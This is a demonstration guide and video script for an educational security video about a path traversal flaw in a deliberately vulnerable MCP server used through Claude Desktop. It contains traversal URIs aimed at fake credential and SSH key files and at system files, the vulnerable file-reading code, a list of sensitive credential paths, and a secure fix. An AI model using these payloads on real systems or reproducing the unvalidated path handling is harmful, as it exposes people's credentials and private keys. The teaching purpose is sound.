MCP Path Traversal Vulnerability Demo Guide

🎯 Attack Overview

Vulnerability: Path Traversal via MCP Resources
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Impact: Unauthorized file system access, information disclosure
Severity: HIGH to CRITICAL

🔍 What Makes This Attack Unique

This exploits **MCP Resources -** a core primitive where:

- Servers expose "resources" (files/data) via URIs
- Clients can request resources by URI
- URIs should be validated to prevent traversal
- **This server doesn't validate URIs!**

Key Difference from Previous Attacks:

Previous Attacks	Path Traversal
Exploit tools/sampling	Exploits resources
Manipulate AI behavior	Direct file system access
Requires AI interaction	Works at protocol level
AI-specific vulnerability	Traditional path traversal

🚀 Recommendation: USE CLAUDE DESKTOP

Why Claude Desktop is Better for This Demo:

✅ **Resources are UI-visible -** Claude shows available resources
✅ **User can select resources -** Clear demonstration
✅ **More realistic -** Shows actual usage pattern
✅ **Professional looking -** Better for video
✅ **Shows the full attack flow -** Request → Response

Why NOT MCP Inspector:

❌ Resources are less intuitive in Inspector
❌ Manual URI typing less compelling
❌ Less visual/engaging
❌ Harder for viewers to understand

📋 Setup Instructions

Step 1: Create Workspace Directory

powershell

```powershell
# Create workspace with legitimate files
New-Item -Path "C:\workspace" -ItemType Directory -Force
cd C:\workspace

# Create legitimate workspace files
@"
{
  "app_name": "MyApp",
  "version": "1.0",
  "database": "localhost"
}
"@ | Out-File "config.json"

"Name,Age,City
Alice,30,NYC
Bob,25,LA" | Out-File "data.csv"

"# MyApp Project

This is the main project documentation." | Out-File "README.md"

# Verify files
dir
```

Step 2: Create Target Files (To Be Stolen)

powershell

```
# Create a "sensitive" file outside workspace
New-Item -Path "C:\secrets" -ItemType Directory -Force

@"
# SENSITIVE CREDENTIALS
database_password=SuperSecret123!
api_key=sk-prod-abc123xyz789
admin_token=admin_secret_token_2025
"@ | Out-File "C:\secrets\credentials.txt"

# Create fake SSH directory
New-Item -Path "C:\Users\$env:USERNAME\.ssh" -ItemType Directory -Force -ErrorAction SilentlyContinue

"-----BEGIN FAKE RSA PRIVATE KEY-----
This would be an actual SSH private key
Attacker could use this for unauthorized access
-----END FAKE RSA PRIVATE KEY-----" | Out-File "C:\Users\$env:USERNAME\.ssh\id_rsa"
```

Step 3: Configure Claude Desktop

Config file: `%APPDATA%\Claude\claude_desktop_config.json`

json

```json
{
  "mcpServers": {
    "workspace-resources": {
      "command": "python",
      "args": [
        "C:\\users\\kkmookhey\\yt_vuln_agent\\vuln_mcp_path_traversal_windows.py"
      ]
    }
  }
}
```

Step 4: Restart Claude Desktop

Completely quit and reopen Claude.

🎬 Demo Script for Video

Scene 1: Introduction (1 minute)

You on camera:

> "Today we're looking at path traversal vulnerabilities in MCP Resources. Resources are how MCP servers expose files and data to AI assistants. When improperly validated, they can allow attackers to read ANY file on the system - not just the ones the server intended to share."

Show concept diagram:

```
Intended Access:
C:\workspace\config.json ✅

Path Traversal Attack:
C:\workspace\..\secrets\credentials.txt ❌
```

Scene 2: Show Legitimate Resources (2 minutes)

In Claude Desktop:

1. **Look for resources indicator** (usually a 📎 or resources panel)
2. **Click to view available resources**

Expected to see:

- Application Configuration (config.json)
- Project Data (data.csv)
- Project Documentation (README.md)

3. **Select one legitimate resource** (e.g., config.json)

Type to Claude:

```
Can you show me the application configuration?
```

Expected response: Claude reads the config.json resource and shows:

json

```
{
  "app_name": "MyApp",
  "version": "1.0",
  "database": "localhost"
}
```

Narration:

> "This is how MCP Resources are supposed to work. The server exposes specific files, Claude can read them, and users get access to the data they need. But watch what happens when we manipulate the URI..."

Scene 3: Path Traversal Attack #1 - Reading Credentials (3 minutes)

The Challenge: Resources are typically selected from a list in Claude's UI. You can't directly type a malicious URI to Claude. **However**, you can use the resource template feature.

Approach 1: Ask Claude to read a specific path

Type to Claude:

```
Can you read the file at this path using the workspace resources:
file:///C:/workspace/../secrets/credentials.txt
```

OR

Approach 2: If Claude has resource templates enabled:

Type:

```
Using the workspace file template, can you access: ../secrets/credentials.txt
```

What You'll See:

Terminal/Logs:

```
2025-10-06 23:45:10 - Resource read request: file:///C:/workspace/../secrets/credentials.txt
2025-10-06 23:45:10 - Resolved path: C:\workspace\..\secrets\credentials.txt
2025-10-06 23:45:10 - ⚠️ PATH TRAVERSAL ATTEMPT DETECTED
2025-10-06 23:45:10 - ⚠️ ACCESS OUTSIDE WORKSPACE
2025-10-06 23:45:10 - ✅ Successfully read 142 bytes from C:\secrets\credentials.txt
```

Claude shows:

```
# SENSITIVE CREDENTIALS
database_password=SuperSecret123!
api_key=sk-prod-abc123xyz789
admin_token=admin_secret_token_2025
```

Your Reaction:

> "Whoa! The server logged warnings about path traversal and access outside the workspace, but it still read the file! Those warnings are just for show - there's no actual security enforcement. We just read a file that should have been completely off-limits."

Scene 4: Path Traversal Attack #2 - Reading SSH Keys (2 minutes)

Type to Claude:

```
Can you read file:///C:/workspace/../../Users/kkmookhey/.ssh/id_rsa
```

Expected:

Logs:

```
⚠️ PATH TRAVERSAL ATTEMPT DETECTED
⚠️ ACCESS OUTSIDE WORKSPACE
✅ Successfully read SSH private key
```

Claude shows:

```
-----BEGIN FAKE RSA PRIVATE KEY-----
This would be an actual SSH private key
Attacker could use this for unauthorized access
-----END FAKE RSA PRIVATE KEY-----
```

Narration:

> "And now we've read an SSH private key. In a real attack, this would give the attacker complete access to any servers this key authorizes. SSH keys, AWS credentials, database passwords - all accessible through this path traversal vulnerability."

Scene 5: Path Traversal Attack #3 - Reading Windows System Files (2 minutes)

Type to Claude:

```
Read file:///C:/workspace/../Windows/System32/drivers/etc/hosts
```

Expected:

Logs:

```
⚠️ PATH TRAVERSAL ATTEMPT DETECTED
⚠️ ACCESS OUTSIDE WORKSPACE
✅ Successfully read 824 bytes
```

Claude shows:

```
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
...
127.0.0.1       localhost
::1             localhost
```

Narration:

> "Now we're reading Windows system files. The hosts file might seem innocuous, but it shows we have read access to system directories. An attacker could enumerate installed software, find configuration files, or identify security tools that might be running."

Scene 6: Show the Vulnerable Code (2 minutes)

Split screen: Code + Earlier demo

Show the vulnerable section:

python

```python
# VULNERABLE: Direct extraction without validation
file_path = uri[8:]  # Just removes "file:///"

# Convert slashes
file_path = file_path.replace('/', '\\')

# CRITICAL VULNERABILITIES:
# ❌ No validation that path is within allowed directory
# ❌ No check for ".." sequences
# ❌ No check for absolute paths outside workspace
# ❌ No canonicalization of paths

# Just reads the file!
with open(file_path, 'r') as f:
    content = f.read()
```

Explain:

1. Server extracts path from URI
2. **No validation whatsoever**
3. Directly opens and reads the file

4. Returns content to Claude
5. User gets unauthorized data

Scene 7: The Secure Implementation (2 minutes)

Show secure version:

python

```python
import os
from pathlib import Path

# SECURE VERSION
ALLOWED_BASE = Path("C:/workspace").resolve()

@server.read_resource()
async def read_resource_secure(uri: str):
    if uri.startswith("file:///"):
        file_path = uri[8:].replace('/', '\\')

        # 1. Resolve to absolute path (handles .. and .)
        requested_path = Path(file_path).resolve()

        # 2. Check if within allowed directory
        try:
            requested_path.relative_to(ALLOWED_BASE)
        except ValueError:
            # Path is outside allowed directory!
            return TextResourceContents(
                uri=uri,
                text="Error: Access denied - path outside workspace"
            )

        # 3. NOW safe to read
        with open(requested_path, 'r') as f:
            return TextResourceContents(uri=uri, text=f.read())
```

Test it:

```
Attempt: file:///C:/workspace/../secrets/credentials.txt
Result: "Error: Access denied - path outside workspace"
```

Key Security Measures:

1. ✅ Resolve path to absolute form
2. ✅ Check path is within allowed base
3. ✅ Use `relative_to()` to validate containment
4. ✅ Reject if validation fails
5. ✅ Only then read file

Scene 8: Impact Assessment (2 minutes)

Show what an attacker can access:

```
Common Sensitive Files on Windows:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✓ C:\Users\{user}\.ssh\*
✓ C:\Users\{user}\.aws\credentials
✓ C:\Users\{user}\.config\*
✓ C:\ProgramData\*\config.ini
✓ C:\Windows\System32\drivers\etc\hosts
✓ Application config files
✓ Database connection strings
✓ API keys and tokens
✓ Private certificates
```

Real-World Scenarios:

1. **Developer Machines:** SSH keys, cloud credentials, API tokens
2. **Production Servers:** Database passwords, service account keys
3. **Enterprise:** Internal URLs, network topology, user lists
4. **CI/CD:** Deployment keys, registry credentials

Scene 9: Defense Strategies (2 minutes)

For MCP Server Developers:

1. **Always validate paths**

python

```python
# Resolve and check containment
requested_path.relative_to(ALLOWED_BASE)
```

2. **Use allowlist, not denylist**

python

```python
# BAD: Blocking specific patterns
if ".." in path or "secrets" in path:
    deny()

# GOOD: Only allow specific base
if not path.startswith(ALLOWED_BASE):
    deny()
```

3. **Canonicalize paths**

python

```python
# Resolve symlinks, .., .
Path(user_input).resolve()
```

4. **Principle of least privilege**
    - Only expose necessary files
    - Run server with limited permissions
    - Use separate service accounts
5. **Logging and monitoring**
    - Log all resource access attempts
    - Alert on path traversal patterns
    - Monitor for suspicious access

For Users:

1. Review MCP servers before installing
2. Check what resources they expose
3. Understand what files they access
4. Use principle of least privilege
5. Monitor MCP server activity

Scene 10: Conclusion (1 minute)

You on camera:

> "Path traversal in MCP Resources is a classic vulnerability in a new context. The attack is straightforward: manipulate URIs to access files outside the intended directory. The impact is severe: credential theft, configuration exposure, system reconnaissance.
>
> The fix is equally straightforward: validate, canonicalize, and enforce directory boundaries. But as we've seen, it's easy to forget these basics when building new protocols and systems.
>
> Before you install any MCP server, ask yourself: What resources does it expose? What files can it access? And most importantly - does it properly validate paths?"

🎥 Technical Setup

Window Layout:

```
┌─────────────────────────────────────────┐
│ LEFT: Terminal (Server Logs)           │
│ Shows path traversal warnings          │
├─────────────────────────────────────────┤
│ RIGHT: Claude Desktop                  │
│ Shows resources and responses          │
└─────────────────────────────────────────┘
```

Monitoring Logs:

powershell

```
# In separate terminal, tail the log file
Get-Content C:\users\kkmookhey\yt_vuln_agent\path_traversal_debug.log -Wait -Tail 50
```

⚠️ Important Notes

Why Claude Desktop Works Better:

1. **Resources UI -** Visual selection of resources
2. **URI display -** Shows what URIs look like

3. **Natural flow -** User → Claude → Resources
4. **More realistic -** Actual usage pattern

Potential Issues:

1. **Claude might not directly accept malicious URIs**
   - Solution: Use resource templates
   - Or: Explain the attack conceptually
2. **Resources might not be visible**
   - Check Claude Desktop version
   - Verify server is connected
   - Look for resources indicator in UI
3. **File permissions**
   - Some Windows files might be protected
   - Use fake sensitive files you create
   - Shows the concept regardless

✅ Demo Checklist

Pre-recording:
[ ] Workspace directory created (C:\workspace)
[ ] Legitimate files in workspace
[ ] Sensitive files created (C:\secrets, .ssh)
[ ] Server file saved and configured
[ ] Claude Desktop restarted
[ ] Server showing in Claude
[ ] Logs monitoring in terminal

Recording:
[ ] Show legitimate resource access
[ ] Demonstrate path traversal to credentials
[ ] Show SSH key access
[ ] Show Windows system file access
[ ] Display vulnerable code
[ ] Show secure implementation
[ ] Test secure version

Post-recording:
[ ] Verify all exploits visible
[ ] Verify logs captured warnings
[ ] Verify concepts are clear

🎯 Key Messages

1. **"Path traversal is a classic vulnerability in MCP context"**
2. **"URIs must be validated before file access"**
3. **"Resources expose files - validate what's accessible"**
4. **"Use Path.resolve() and relative_to() for security"**
5. **"Defense in depth: validate, log, monitor, limit"**

This is a **realistic, professional demonstration** of a serious vulnerability!